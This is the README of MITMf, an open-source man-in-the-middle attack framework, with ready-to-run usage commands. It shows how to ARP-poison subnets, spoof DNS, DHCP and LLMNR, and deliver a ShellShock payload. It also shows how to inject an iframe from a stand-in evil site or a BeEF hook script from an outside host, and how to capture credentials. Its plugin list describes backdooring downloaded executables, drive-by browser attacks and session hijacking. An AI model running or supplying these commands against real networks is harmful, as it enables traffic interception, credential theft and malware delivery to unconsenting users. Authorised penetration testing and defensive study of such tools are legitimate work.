Framework for Man-In-The-Middle attacks
Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io
This tool is based on sergio-proxy and is an attempt to revive and update the project.
Contact me at:
- Twitter: @byt3bl33d3r
- IRC on Freenode: #MITMf
- Email: firstname.lastname@example.org
Before submitting issues, please read the relevant section in the wiki .
Please refer to the wiki for installation instructions
MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving
existing attacks and techniques.
Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely
re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack.
The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.
As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better),
allowing users to modify any type of traffic or protocol.
The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.
Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.
Active packet filtering/modification
You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!)
For example, here's a stupid little filter that just changes the destination IP address of ICMP packets:
if packet.haslayer(ICMP): log.info('Got an ICMP packet!') packet.dst = '192.168.1.0'
- Use the
packetvariable to access the packet in a Scapy compatible format
- Use the
datavariable to access the raw packet data
Now to use the filter all we need to do is:
python mitmf.py -F ~/filter.py
You will probably want to combine that with the Spoof plugin to actually intercept packets from someone else ;)
Note: you can modify filters on-the-fly without restarting MITMf!
The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0
ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Same as above + a WPAD rogue proxy server using the Responder plugin:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Enable LLMNR/NBTNS/MDNS spoofing:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):
python mitmf.py -i enp3s0 --spoof --dhcp
Same as above with a ShellShock payload that will be executed if any client is vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject an HTML IFrame using the Inject plugin:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inject a JS script:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
And much much more!
Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
For a complete list of available options, just run
python mitmf.py --help
#Currently available plugins
- HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
- SMBTrap : Exploits the 'SMB Trap' vulnerability on connected clients
- ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
- Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
- SSLstrip+ : Partially bypass HSTS
- Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
- BeEFAutorun : Autoruns BeEF modules based on a client's OS or browser type
- AppCachePoison : Performs HTML5 App-Cache poisoning attacks
- Ferret-NG : Transperently hijacks client sessions
- BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
- FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
- Inject : Inject arbitrary content into HTML content
- BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
- Replace : Replace arbitrary content in HTML content
- SMBAuth : Evoke SMB challenge-response authentication attempts
- Upsidedownternet : Flips images 180 degrees